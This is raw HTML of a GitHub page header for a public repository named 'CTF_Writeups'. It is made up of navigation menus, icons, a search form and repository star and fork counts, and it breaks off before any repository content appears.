<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="484248602" data-scoped-search-url="/d3vinfos3c/CTF_Writeups/search" data-owner-scoped-search-url="/users/d3vinfos3c/search" data-unscoped-search-url="/search" data-turbo="false" action="/d3vinfos3c/CTF_Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Snsnr78KtUxTRt4Q/PAjdyc25DH15iQBaERFHGuo3JIXn2AmkX6Pc/Z9icvS7zvUYuwUV4PyxZw5UQK+fHDzIw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> d3vinfos3c </span> <span>/</span> CTF_Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 